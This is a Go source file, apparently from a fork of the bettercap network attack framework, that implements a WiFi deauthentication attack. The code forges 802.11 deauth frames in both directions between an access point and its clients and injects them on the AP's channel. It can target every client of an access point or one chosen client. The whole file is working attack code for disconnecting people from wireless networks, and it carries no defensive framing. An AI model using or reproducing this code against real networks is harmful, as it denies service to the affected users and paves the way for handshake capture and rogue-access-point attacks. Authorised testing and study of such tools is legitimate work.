forked from bettercap/bettercap
/
wifi_deauth.go
88 lines (76 loc) · 2.14 KB
/
wifi_deauth.go
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package modules
import (
"fmt"
"net"
"time"
"github.com/bettercap/bettercap/log"
"github.com/bettercap/bettercap/network"
"github.com/bettercap/bettercap/packets"
)
func (w *WiFiModule) injectPacket(data []byte) {
if err := w.handle.WritePacketData(data); err != nil {
log.Error("Could not inject WiFi packet: %s", err)
w.Session.Queue.TrackError()
} else {
w.Session.Queue.TrackSent(uint64(len(data)))
}
// let the network card breath a little
time.Sleep(10 * time.Millisecond)
}
func (w *WiFiModule) sendDeauthPacket(ap net.HardwareAddr, client net.HardwareAddr) {
for seq := uint16(0); seq < 64 && w.Running(); seq++ {
if err, pkt := packets.NewDot11Deauth(ap, client, ap, seq); err != nil {
log.Error("Could not create deauth packet: %s", err)
continue
} else {
w.injectPacket(pkt)
}
if err, pkt := packets.NewDot11Deauth(client, ap, ap, seq); err != nil {
log.Error("Could not create deauth packet: %s", err)
continue
} else {
w.injectPacket(pkt)
}
}
}
func (w *WiFiModule) startDeauth(to net.HardwareAddr) error {
// if not already running, temporarily enable the pcap handle
// for packet injection
if w.Running() == false {
if err := w.Configure(); err != nil {
return err
}
defer w.handle.Close()
}
w.writes.Add(1)
defer w.writes.Done()
bssid := to.String()
// are we deauthing every client of a given access point?
if ap, found := w.Session.WiFi.Get(bssid); found == true {
clients := ap.Clients()
log.Info("Deauthing %d clients from AP %s ...", len(clients), ap.ESSID())
w.onChannel(network.Dot11Freq2Chan(ap.Frequency), func() {
for _, c := range clients {
if w.Running() == false {
break
}
w.sendDeauthPacket(ap.HW, c.HW)
}
})
return nil
}
// search for a client
aps := w.Session.WiFi.List()
for _, ap := range aps {
if w.Running() == false {
break
} else if c, found := ap.Get(bssid); found == true {
log.Info("Deauthing client %s from AP %s ...", c.HwAddress, ap.ESSID())
w.onChannel(network.Dot11Freq2Chan(ap.Frequency), func() {
w.sendDeauthPacket(ap.HW, c.HW)
})
return nil
}
}
return fmt.Errorf("%s is an unknown BSSID.", bssid)
}